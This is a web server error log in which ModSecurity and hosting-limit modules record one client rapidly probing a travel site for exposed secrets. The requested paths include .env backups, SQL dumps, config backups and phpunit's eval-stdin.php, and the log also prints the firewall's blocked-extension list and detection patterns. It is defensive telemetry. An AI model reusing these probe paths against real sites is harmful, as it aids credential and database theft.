[Fri Jul 17 08:55:17.953813 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnVCBpfuYyhJ140vSoAAAAB4"]
[Fri Jul 17 08:55:17.963495 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.971093 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgnUkXT4NBqALj2lZ8rwAAABA"]
[Fri Jul 17 08:55:17.971341 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgnUkXT4NBqALj2lZ8rwAAABA"]
[Fri Jul 17 08:55:17.971651 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgnUkXT4NBqALj2lZ8rwAAABA"]
[Fri Jul 17 08:55:17.971793 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.971973 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnUkXT4NBqALj2lZ8rwAAABA"]
[Fri Jul 17 08:55:17.979581 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/database.sql"] [unique_id "almgnQ5GPQ6hs4VrfMpBcAAAAAY"]
[Fri Jul 17 08:55:17.980150 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/database.sql"] [unique_id "almgnQ5GPQ6hs4VrfMpBcAAAAAY"]
[Fri Jul 17 08:55:17.980310 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.980457 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBcAAAAAY"]
[Fri Jul 17 08:55:17.980571 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/dump.sql"] [unique_id "almgnYZvbo7N5o5zeYC-XwAAABw"]
[Fri Jul 17 08:55:17.981194 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/dump.sql"] [unique_id "almgnYZvbo7N5o5zeYC-XwAAABw"]
[Fri Jul 17 08:55:17.981351 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.981480 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYZvbo7N5o5zeYC-XwAAABw"]
[Fri Jul 17 08:55:17.993761 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgnboj0IkvhSCYadmBngAAAAQ"]
[Fri Jul 17 08:55:17.994205 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgnboj0IkvhSCYadmBngAAAAQ"]
[Fri Jul 17 08:55:17.994663 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgnboj0IkvhSCYadmBngAAAAQ"]
[Fri Jul 17 08:55:17.994943 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.995203 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnboj0IkvhSCYadmBngAAAAQ"]
[Fri Jul 17 08:55:18.000082 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:18.000367 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.000602 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:18.001087 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.002643 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.1
[Fri Jul 17 08:55:18.002823 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.006531 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.bak"] [unique_id "almgng7FYe46zHK_jL3PzgAAABk"]
[Fri Jul 17 08:55:18.007069 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.bak"] [unique_id "almgng7FYe46zHK_jL3PzgAAABk"]
[Fri Jul 17 08:55:18.007206 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.007444 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3PzgAAABk"]
[Fri Jul 17 08:55:18.007495 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3PzgAAABk"]
[Fri Jul 17 08:55:18.007505 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3PzgAAABk"]
[Fri Jul 17 08:55:18.016406 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-admin/setup-config.php
[Fri Jul 17 08:55:18.016602 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.018276 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.025290 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php~"] [unique_id "almgnol9vhFBGA6D8l95-wAAAAw"]
[Fri Jul 17 08:55:18.026086 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php~"] [unique_id "almgnol9vhFBGA6D8l95-wAAAAw"]
[Fri Jul 17 08:55:18.026286 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.026526 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l95-wAAAAw"]
[Fri Jul 17 08:55:18.032633 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.old"] [unique_id "almgnnRlmrtCoY_COpcl3QAAAAg"]
[Fri Jul 17 08:55:18.033116 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.old"] [unique_id "almgnnRlmrtCoY_COpcl3QAAAAg"]
[Fri Jul 17 08:55:18.033232 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.033392 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl3QAAAAg"]
[Fri Jul 17 08:55:18.040206 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
